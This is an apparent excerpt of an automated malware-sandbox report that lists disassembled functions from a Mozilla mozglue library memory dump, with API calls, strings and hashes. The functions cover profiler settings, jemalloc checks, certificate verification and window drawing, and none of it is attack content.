GetCurrentThreadId.KERNEL32 ref: 6C66563E
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C665646
exit.API-MS-WIN-CRT-RUNTIME-L1-1-0(00000000), ref: 6C66567C
free.MOZGLUE(?), ref: 6C6656AE

Part of subcall function 6C675E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6C675EDB
Part of subcall function 6C675E90: memset.VCRUNTIME140(ewkl,000000E5,?), ref: 6C675F27
Part of subcall function 6C675E90: LeaveCriticalSection.KERNEL32(?), ref: 6C675FB2

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_NO_BASE), ref: 6C6656E8
GetCurrentThreadId.KERNEL32 ref: 6C665707
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,00000001), ref: 6C66570F
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_ENTRIES), ref: 6C665729
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_DURATION), ref: 6C66574E
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_INTERVAL), ref: 6C66576B
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_FEATURES_BITFIELD), ref: 6C665796
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_FEATURES), ref: 6C6657B3
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_FILTERS), ref: 6C6657CA

Strings

[I %d/%d] - MOZ_PROFILER_STARTUP_FEATURES_BITFIELD = %d, xrefs: 6C665AC9
[I %d/%d] - MOZ_PROFILER_STARTUP is set, xrefs: 6C665717
- MOZ_PROFILER_STARTUP_DURATION not a valid float: %s, xrefs: 6C665CF9
MOZ_BASE_PROFILER_LOGGING, xrefs: 6C6654B9
MOZ_PROFILER_STARTUP_FILTERS, xrefs: 6C6657C5
[I %d/%d] - MOZ_PROFILER_STARTUP_FEATURES = %d, xrefs: 6C66584E
- MOZ_PROFILER_STARTUP_INTERVAL not a valid float: %s, xrefs: 6C665D01
MOZ_PROFILER_STARTUP_FEATURES_BITFIELD, xrefs: 6C665791
MOZ_PROFILER_STARTUP_DURATION, xrefs: 6C665749
MOZ_BASE_PROFILER_VERBOSE_LOGGING, xrefs: 6C66548D
[I %d/%d] - MOZ_PROFILER_STARTUP_FILTERS = %s, xrefs: 6C665B38
MOZ_BASE_PROFILER_HELP, xrefs: 6C665511
- MOZ_PROFILER_STARTUP_FEATURES_BITFIELD not a valid integer: %s, xrefs: 6C665D1C
MOZ_BASE_PROFILER_DEBUG_LOGGING, xrefs: 6C6654A3
MOZ_PROFILER_STARTUP_ENTRIES, xrefs: 6C665724
- MOZ_PROFILER_STARTUP_ENTRIES unit must be one of the following: KB, KiB, MB, MiB, GB, GiB, xrefs: 6C665D2B
[I %d/%d] - MOZ_PROFILER_STARTUP_ENTRIES = %u, xrefs: 6C665C56
- MOZ_PROFILER_STARTUP_ENTRIES not a valid integer: %s, xrefs: 6C665D24
GeckoMain, xrefs: 6C665554, 6C6655D5
MOZ_PROFILER_STARTUP_INTERVAL, xrefs: 6C665766
[I %d/%d] -> This process is excluded and won't be profiled, xrefs: 6C665BBE
MOZ_PROFILER_STARTUP_NO_BASE, xrefs: 6C6656E3
[I %d/%d] profiler_init, xrefs: 6C66564E
MOZ_PROFILER_STARTUP, xrefs: 6C6655E1
MOZ_PROFILER_STARTUP_FEATURES, xrefs: 6C6657AE

Memory Dump Source

Source File: 00000000.00000002.2437114101.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2437083971.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2437197741.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2437248378.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2437292791.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: getenv$CriticalSection$Current$Thread$EnterLeaveProcess$ExclusiveLock_getpidfree$AcquireCreation@Init_thread_footerReleaseStamp@mozilla@@TerminateTimeV12@exitmemsetmoz_xmalloc
String ID: - MOZ_PROFILER_STARTUP_DURATION not a valid float: %s$- MOZ_PROFILER_STARTUP_ENTRIES not a valid integer: %s$- MOZ_PROFILER_STARTUP_ENTRIES unit must be one of the following: KB, KiB, MB, MiB, GB, GiB$- MOZ_PROFILER_STARTUP_FEATURES_BITFIELD not a valid integer: %s$- MOZ_PROFILER_STARTUP_INTERVAL not a valid float: %s$GeckoMain$MOZ_BASE_PROFILER_DEBUG_LOGGING$MOZ_BASE_PROFILER_HELP$MOZ_BASE_PROFILER_LOGGING$MOZ_BASE_PROFILER_VERBOSE_LOGGING$MOZ_PROFILER_STARTUP$MOZ_PROFILER_STARTUP_DURATION$MOZ_PROFILER_STARTUP_ENTRIES$MOZ_PROFILER_STARTUP_FEATURES$MOZ_PROFILER_STARTUP_FEATURES_BITFIELD$MOZ_PROFILER_STARTUP_FILTERS$MOZ_PROFILER_STARTUP_INTERVAL$MOZ_PROFILER_STARTUP_NO_BASE$[I %d/%d] -> This process is excluded and won't be profiled$[I %d/%d] - MOZ_PROFILER_STARTUP is set$[I %d/%d] - MOZ_PROFILER_STARTUP_ENTRIES = %u$[I %d/%d] - MOZ_PROFILER_STARTUP_FEATURES = %d$[I %d/%d] - MOZ_PROFILER_STARTUP_FEATURES_BITFIELD = %d$[I %d/%d] - MOZ_PROFILER_STARTUP_FILTERS = %s$[I %d/%d] profiler_init
API String ID: 3686969729-1266492768
Opcode ID: 9723cfc490d2767776d13f6d4db7c8a092534f89ff03e26e62870104a5c6f412
Instruction ID: 177a8c64f2d46a8a752f75fa61e52c8de68fafea378d92d8cf6f77fefddd9d63
Opcode Fuzzy Hash: 9723cfc490d2767776d13f6d4db7c8a092534f89ff03e26e62870104a5c6f412
Instruction Fuzzy Hash: 2D2205709043419FDB009F76C89666ABBB5AF8734CF04462AE94A87F42EB31E445CB5F

Function 6C69B820 Relevance: 102.6, APIs: 56, Strings: 2, Instructions: 1128
threadtimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentThreadId.KERNEL32 ref: 6C69B845
AcquireSRWLockExclusive.KERNEL32(6C6DF4B8,?,?,00000000), ref: 6C69B852
ReleaseSRWLockExclusive.KERNEL32(6C6DF4B8), ref: 6C69B884
InitializeConditionVariable.KERNEL32(?), ref: 6C69B8D2
?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001,?), ref: 6C69B9FD
GetCurrentThreadId.KERNEL32 ref: 6C69BA05
AcquireSRWLockExclusive.KERNEL32(6C6DF4B8,?,?,00000000), ref: 6C69BA12
?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001,?,?,00000000), ref: 6C69BA27
ReleaseSRWLockExclusive.KERNEL32(6C6DF4B8), ref: 6C69BA4B
free.MOZGLUE(?), ref: 6C69C9C7
free.MOZGLUE(?), ref: 6C69C9DC

Strings

[I %d/%d] Stack sample too big for local storage, needed %u bytes, xrefs: 6C69C7DA
[I %d/%d] Stack sample too big for profiler storage, needed %u bytes, xrefs: 6C69C878

Memory Dump Source

Source File: 00000000.00000002.2437114101.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2437083971.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2437197741.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2437248378.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2437292791.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentNow@ReleaseStamp@mozilla@@ThreadTimeV12@_free$ConditionInitializeVariable
String ID: [I %d/%d] Stack sample too big for local storage, needed %u bytes$[I %d/%d] Stack sample too big for profiler storage, needed %u bytes
API String ID: 656605770-2789026554
Opcode ID: f2a5776b01e18a1572ab0c51ffc065bedc266983ab07976a2854c9954fd80f75
Instruction ID: 752dd629839c1a6c0987d4a292ffdc9fbf9b15080cacb029944776b32ac7a95d
Opcode Fuzzy Hash: f2a5776b01e18a1572ab0c51ffc065bedc266983ab07976a2854c9954fd80f75
Instruction Fuzzy Hash: FAA2BE71A083818FC721CF29C49079FB7E5BFCA314F144A2DE89997351DB70A949CB9A

Function 6C666C80 Relevance: 95.2, APIs: 50, Strings: 4, Instructions: 727
encryptionfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CryptQueryObject.CRYPT32(00000001,?,00000400,00000002,00000000,?,?,?,?,?,00000000), ref: 6C666CCC
CryptMsgGetParam.CRYPT32(00000000,00000007,00000000,00000000,0000000C), ref: 6C666D11
moz_xmalloc.MOZGLUE(0000000C), ref: 6C666D26

Part of subcall function 6C66CA10: malloc.MOZGLUE(?), ref: 6C66CA26

memset.VCRUNTIME140(00000000,00000000,0000000C), ref: 6C666D35
CryptMsgGetParam.CRYPT32(00000000,00000007,00000000,00000000,0000000C), ref: 6C666D53
CertFindCertificateInStore.CRYPT32(00000000,00010001,00000000,000B0000,00000000,00000000), ref: 6C666D73
free.MOZGLUE(00000000), ref: 6C666D80
CertGetNameStringW.CRYPT32 ref: 6C666DC0
moz_xmalloc.MOZGLUE(00000000), ref: 6C666DDC
memset.VCRUNTIME140(00000000,00000000,00000000), ref: 6C666DEB
CertGetNameStringW.CRYPT32(00000000,00000004,00000000,00000000,00000000,00000000), ref: 6C666DFF
CertFreeCertificateContext.CRYPT32(00000000), ref: 6C666E10
CryptMsgClose.CRYPT32(00000000), ref: 6C666E27
CertCloseStore.CRYPT32(00000000,00000000), ref: 6C666E34
CreateFileW.KERNEL32 ref: 6C666EF9
moz_xmalloc.MOZGLUE(00000000), ref: 6C666F7D
memset.VCRUNTIME140(00000000,00000000,00000000), ref: 6C666F8C
memset.VCRUNTIME140(00000002,00000000,00000208), ref: 6C66709D
CryptQueryObject.CRYPT32(00000001,00000002,00000400,00000002,00000000,?,?,?,?,?,00000000), ref: 6C667103
free.MOZGLUE(00000000), ref: 6C667153
CloseHandle.KERNEL32(?), ref: 6C667176
__Init_thread_footer.LIBCMT ref: 6C667209
__Init_thread_footer.LIBCMT ref: 6C66723A
__Init_thread_footer.LIBCMT ref: 6C66726B
__Init_thread_footer.LIBCMT ref: 6C66729C
__Init_thread_footer.LIBCMT ref: 6C6672DC
__Init_thread_footer.LIBCMT ref: 6C66730D
memset.VCRUNTIME140(?,00000000,00000110), ref: 6C6673C2
VerSetConditionMask.NTDLL ref: 6C6673F3
VerSetConditionMask.NTDLL ref: 6C6673FF
VerSetConditionMask.NTDLL ref: 6C667406
VerSetConditionMask.NTDLL ref: 6C66740D
VerifyVersionInfoW.KERNEL32(?,00000033,00000000), ref: 6C66741A
moz_xmalloc.MOZGLUE(?), ref: 6C66755A
memset.VCRUNTIME140(00000000,00000000,?), ref: 6C667568
CryptBinaryToStringW.CRYPT32(00000000,00000000,4000000C,00000000,?), ref: 6C667585
_wcsupr_s.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?), ref: 6C667598
free.MOZGLUE(00000000), ref: 6C6675AC

Part of subcall function 6C68AB89: EnterCriticalSection.KERNEL32(6C6DE370,?,?,?,6C6534DE,6C6DF6CC,?,?,?,?,?,?,?,6C653284), ref: 6C68AB94
Part of subcall function 6C68AB89: LeaveCriticalSection.KERNEL32(6C6DE370,?,6C6534DE,6C6DF6CC,?,?,?,?,?,?,?,6C653284,?,?,6C6756F6), ref: 6C68ABD1

Strings

CryptCATAdminReleaseCatalogContext, xrefs: 6C6672C8
wintrust.dll, xrefs: 6C6672CD
SHA256, xrefs: 6C666EC0
(, xrefs: 6C66768A

Memory Dump Source

Source File: 00000000.00000002.2437114101.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2437083971.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2437197741.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2437248378.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2437292791.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: CryptInit_thread_footermemset$Cert$ConditionMaskmoz_xmalloc$CloseStringfree$CertificateCriticalNameObjectParamQuerySectionStore$BinaryContextCreateEnterFileFindFreeHandleInfoLeaveVerifyVersion_wcsupr_smalloc
String ID: ($CryptCATAdminReleaseCatalogContext$SHA256$wintrust.dll
API String ID: 3256780453-3980470659
Opcode ID: 7fc89b314fb4aa2afe388c52032a03451903b56d09fef3437752505b54f425da
Instruction ID: 66a7cec88e3af785e2294924bd49185265c2d8ef4da158a834f2fe8299d93b89
Opcode Fuzzy Hash: 7fc89b314fb4aa2afe388c52032a03451903b56d09fef3437752505b54f425da
Instruction Fuzzy Hash: 9852E871A042149FEB21DF26CC84BAA77B8EF46704F144599E909A7A40DB70BF84CF5A

Function 6C686FF0 Relevance: 89.1, APIs: 39, Strings: 10, Instructions: 3347COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C6DE7DC), ref: 6C687019
LeaveCriticalSection.KERNEL32(6C6DE7DC), ref: 6C687061
EnterCriticalSection.KERNEL32(?), ref: 6C6871A4
LeaveCriticalSection.KERNEL32(?), ref: 6C68721D
memcpy.VCRUNTIME140(?,?,?), ref: 6C68723E
EnterCriticalSection.KERNEL32(?), ref: 6C68726C
memset.VCRUNTIME140(?,000000E5,000000FF), ref: 6C6872B2
LeaveCriticalSection.KERNEL32(?), ref: 6C68733F
EnterCriticalSection.KERNEL32(0000000C), ref: 6C6873E8
LeaveCriticalSection.KERNEL32(?), ref: 6C68961C
_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C689622
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C689642
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C68964F
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C6896CE
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C6896DB
AcquireSRWLockExclusive.KERNEL32(6C6DE804), ref: 6C689747
GetSystemInfo.KERNEL32(?), ref: 6C689792
__Init_thread_footer.LIBCMT ref: 6C6897A5
GetEnvironmentVariableA.KERNEL32(MALLOC_OPTIONS,6C6DE810,00000040), ref: 6C6897CF
InitializeCriticalSectionAndSpinCount.KERNEL32(6C6DE7B8,00001388), ref: 6C689838
InitializeCriticalSectionAndSpinCount.KERNEL32(6C6DE744,00001388), ref: 6C68984E
InitializeCriticalSectionAndSpinCount.KERNEL32(6C6DE784,00001388), ref: 6C689874
InitializeCriticalSectionAndSpinCount.KERNEL32(6C6DE7DC,00001388), ref: 6C689895

Strings

MALLOC_OPTIONS, xrefs: 6C6897CA
MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x20U)) == 0) (Freeing in decommitted page.), xrefs: 6C6899A8
MOZ_RELEASE_ASSERT((run->mRegionsMask[elm] & (1U << bit)) == 0) (Double-free?), xrefs: 6C6899D2
MOZ_RELEASE_ASSERT(mNode), xrefs: 6C689933, 6C689A33, 6C689A4E
MOZ_RELEASE_ASSERT(!aArena || arena == aArena), xrefs: 6C689993
Compile-time page size does not divide the runtime one., xrefs: 6C689B38
MOZ_CRASH(), xrefs: 6C689B42
<jemalloc>, xrefs: 6C689B33, 6C689BE3
: (malloc) Unsupported character in malloc options: ', xrefs: 6C689BF4
MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x01U)) != 0) (Double-free?), xrefs: 6C6899BD

Memory Dump Source

Source File: 00000000.00000002.2437114101.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2437083971.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2437197741.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2437248378.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2437292791.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: CriticalSection$CountEnterInitializeK@1@LeaveMaybe@_RandomSpinUint64@mozilla@@$AcquireEnvironmentExclusiveInfoInit_thread_footerLockSystemVariable_errnomemcpymemset
String ID: : (malloc) Unsupported character in malloc options: '$<jemalloc>$Compile-time page size does not divide the runtime one.$MALLOC_OPTIONS$MOZ_CRASH()$MOZ_RELEASE_ASSERT(!aArena || arena == aArena)$MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x01U)) != 0) (Double-free?)$MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x20U)) == 0) (Freeing in decommitted page.)$MOZ_RELEASE_ASSERT((run->mRegionsMask[elm] & (1U << bit)) == 0) (Double-free?)$MOZ_RELEASE_ASSERT(mNode)
API String ID: 4047164644-4173974723
Opcode ID: 418fd89d6427ea1ae05e57579495d84a3dc27d706b17276d0fd4751e268b2148
Instruction ID: ee36c599fa48198b2c7725134521e9e790b374f81c6c1017c0afef02a68b7765
Opcode Fuzzy Hash: 418fd89d6427ea1ae05e57579495d84a3dc27d706b17276d0fd4751e268b2148
Instruction Fuzzy Hash: 4153B171A067018FD704CF29C580715FBE1BF8A328F29C66DE8698B7A1D771E841CB99

Function 6C690DD0 Relevance: 83.9, APIs: 36, Strings: 10, Instructions: 3368COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?), ref: 6C690F1F
LeaveCriticalSection.KERNEL32(?), ref: 6C690F99
memcpy.VCRUNTIME140(?,?,?), ref: 6C690FB7
EnterCriticalSection.KERNEL32(?), ref: 6C690FE9
memset.VCRUNTIME140(?,000000E5,00000000), ref: 6C691031
LeaveCriticalSection.KERNEL32(?), ref: 6C6910D0
EnterCriticalSection.KERNEL32(?), ref: 6C69117D
memset.VCRUNTIME140(?,000000E5,?), ref: 6C691C39
EnterCriticalSection.KERNEL32(6C6DE744), ref: 6C693391
LeaveCriticalSection.KERNEL32(6C6DE744), ref: 6C6933CD
LeaveCriticalSection.KERNEL32(?), ref: 6C693431
_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C693437

Strings

MALLOC_OPTIONS, xrefs: 6C6935FE
MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x20U)) == 0) (Freeing in decommitted page.), xrefs: 6C6937A8
MOZ_RELEASE_ASSERT((run->mRegionsMask[elm] & (1U << bit)) == 0) (Double-free?), xrefs: 6C6937D2
MOZ_RELEASE_ASSERT(mNode), xrefs: 6C693559, 6C69382D, 6C693848
MOZ_RELEASE_ASSERT(!aArena || arena == aArena), xrefs: 6C693793
Compile-time page size does not divide the runtime one., xrefs: 6C693946
MOZ_CRASH(), xrefs: 6C693950
<jemalloc>, xrefs: 6C693941, 6C6939F1
: (malloc) Unsupported character in malloc options: ', xrefs: 6C693A02
MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x01U)) != 0) (Double-free?), xrefs: 6C6937BD

Memory Dump Source

Source File: 00000000.00000002.2437114101.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2437083971.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2437197741.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2437248378.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2437292791.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave$memset$_errnomemcpy
String ID: : (malloc) Unsupported character in malloc options: '$<jemalloc>$Compile-time page size does not divide the runtime one.$MALLOC_OPTIONS$MOZ_CRASH()$MOZ_RELEASE_ASSERT(!aArena || arena == aArena)$MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x01U)) != 0) (Double-free?)$MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x20U)) == 0) (Freeing in decommitted page.)$MOZ_RELEASE_ASSERT((run->mRegionsMask[elm] & (1U << bit)) == 0) (Double-free?)$MOZ_RELEASE_ASSERT(mNode)
API String ID: 3040639385-4173974723
Opcode ID: 490fd3e4da68b349dcf174aeb13f7e1aa5eb04aedbdc4e08c90c6a630371fe5e
Instruction ID: 96dae9f6c816b0358c2a12f1448292288e71a0c622159dc55be4494e21494cd5
Opcode Fuzzy Hash: 490fd3e4da68b349dcf174aeb13f7e1aa5eb04aedbdc4e08c90c6a630371fe5e
Instruction Fuzzy Hash: 1F539E71A057028FD704CF29C580616FBE1BF8A328F29C76DE8699B791D771E842CB85

Function 6C6B55F0 Relevance: 77.2, APIs: 22, Strings: 22, Instructions: 163
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryW.KERNEL32(user32,?,6C68E1A5), ref: 6C6B5606
LoadLibraryW.KERNEL32(gdi32,?,6C68E1A5), ref: 6C6B560F
GetProcAddress.KERNEL32(00000000,GetThreadDpiAwarenessContext), ref: 6C6B5633
GetProcAddress.KERNEL32(00000000,AreDpiAwarenessContextsEqual), ref: 6C6B563D
GetProcAddress.KERNEL32(00000000,EnableNonClientDpiScaling), ref: 6C6B566C
GetProcAddress.KERNEL32(00000000,GetSystemMetricsForDpi), ref: 6C6B567D
GetProcAddress.KERNEL32(00000000,GetDpiForWindow), ref: 6C6B5696
GetProcAddress.KERNEL32(00000000,RegisterClassW), ref: 6C6B56B2
GetProcAddress.KERNEL32(00000000,CreateWindowExW), ref: 6C6B56CB
GetProcAddress.KERNEL32(00000000,ShowWindow), ref: 6C6B56E4
GetProcAddress.KERNEL32(00000000,SetWindowPos), ref: 6C6B56FD
GetProcAddress.KERNEL32(00000000,GetWindowDC), ref: 6C6B5716
GetProcAddress.KERNEL32(00000000,FillRect), ref: 6C6B572F
GetProcAddress.KERNEL32(00000000,ReleaseDC), ref: 6C6B5748
GetProcAddress.KERNEL32(00000000,LoadIconW), ref: 6C6B5761
GetProcAddress.KERNEL32(00000000,LoadCursorW), ref: 6C6B577A
GetProcAddress.KERNEL32(00000000,MonitorFromWindow), ref: 6C6B5793
GetProcAddress.KERNEL32(00000000,GetMonitorInfoW), ref: 6C6B57A8
GetProcAddress.KERNEL32(00000000,SetWindowLongPtrW), ref: 6C6B57BD
GetProcAddress.KERNEL32(?,StretchDIBits), ref: 6C6B57D5
GetProcAddress.KERNEL32(?,CreateSolidBrush), ref: 6C6B57EA
GetProcAddress.KERNEL32(?,DeleteObject), ref: 6C6B57FF

Strings

SetWindowLongPtrW, xrefs: 6C6B57B7
MonitorFromWindow, xrefs: 6C6B578D
LoadCursorW, xrefs: 6C6B5774
RegisterClassW, xrefs: 6C6B56AC
GetThreadDpiAwarenessContext, xrefs: 6C6B562D
user32, xrefs: 6C6B5601
FillRect, xrefs: 6C6B5729
AreDpiAwarenessContextsEqual, xrefs: 6C6B5637
LoadIconW, xrefs: 6C6B575B
CreateWindowExW, xrefs: 6C6B56C5
GetMonitorInfoW, xrefs: 6C6B57A2
GetSystemMetricsForDpi, xrefs: 6C6B5677
EnableNonClientDpiScaling, xrefs: 6C6B5666
GetDpiForWindow, xrefs: 6C6B5690
GetWindowDC, xrefs: 6C6B5710
StretchDIBits, xrefs: 6C6B57CC
DeleteObject, xrefs: 6C6B57F9
SetWindowPos, xrefs: 6C6B56F7
ShowWindow, xrefs: 6C6B56DE
CreateSolidBrush, xrefs: 6C6B57E4
gdi32, xrefs: 6C6B560A
ReleaseDC, xrefs: 6C6B5742

Memory Dump Source

Source File: 00000000.00000002.2437114101.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2437083971.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2437197741.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2437248378.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2437292791.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: AddressProc$LibraryLoad
String ID: AreDpiAwarenessContextsEqual$CreateSolidBrush$CreateWindowExW$DeleteObject$EnableNonClientDpiScaling$FillRect$GetDpiForWindow$GetMonitorInfoW$GetSystemMetricsForDpi$GetThreadDpiAwarenessContext$GetWindowDC$LoadCursorW$LoadIconW$MonitorFromWindow$RegisterClassW$ReleaseDC$SetWindowLongPtrW$SetWindowPos$ShowWindow$StretchDIBits$gdi32$user32
API String ID: 2238633743-1964193996
Opcode ID: 94b76636f99ffd07114a4f151aec59dcb6d2598d60fa7d4b3905766af542c8f8
Instruction ID: b3b9cb022db72f0e9f9477c7989f80cbda05744432ed32d297e3daa30a732aad
Opcode Fuzzy Hash: 94b76636f99ffd07114a4f151aec59dcb6d2598d60fa7d4b3905766af542c8f8
Instruction Fuzzy Hash: 965169707113235BDB009F36CD84A663AF8AB4A785F114925AA21F3A55EFB0F811CF6D

Function 6C6B34A0 Relevance: 61.0, APIs: 33, Strings: 1, Instructions: 1467COMMON

Download Yara Rule

APIs

floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6B3527
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6B355B
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6B35BC
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6B35E0
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6B363A
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6B3693
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6B36CD
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6B3703
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6B373C
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6B3775
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6B378F
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6B3892
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6B38BB
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6B3902
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6B3939
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6B3970
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6B39EF
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6B3A26
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6B3AE5
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6B3E85
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6B3EBA
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6B3EE2

Part of subcall function 6C6B6180: malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000024), ref: 6C6B61DD
Part of subcall function 6C6B6180: memcpy.VCRUNTIME140(00000000,00000024,-00000070), ref: 6C6B622C

floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6B40F9
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6B412F
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6B4157

Part of subcall function 6C6B6180: malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000001), ref: 6C6B6250
Part of subcall function 6C6B6180: free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C6B6292

floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6B441B
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6B4448
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 6C6B484E
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 6C6B4863
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 6C6B4878
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 6C6B4896
free.MOZGLUE ref: 6C6B489F

Strings

, xrefs: 6C6B4CD2

Memory Dump Source

Source File: 00000000.00000002.2437114101.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2437083971.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2437197741.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
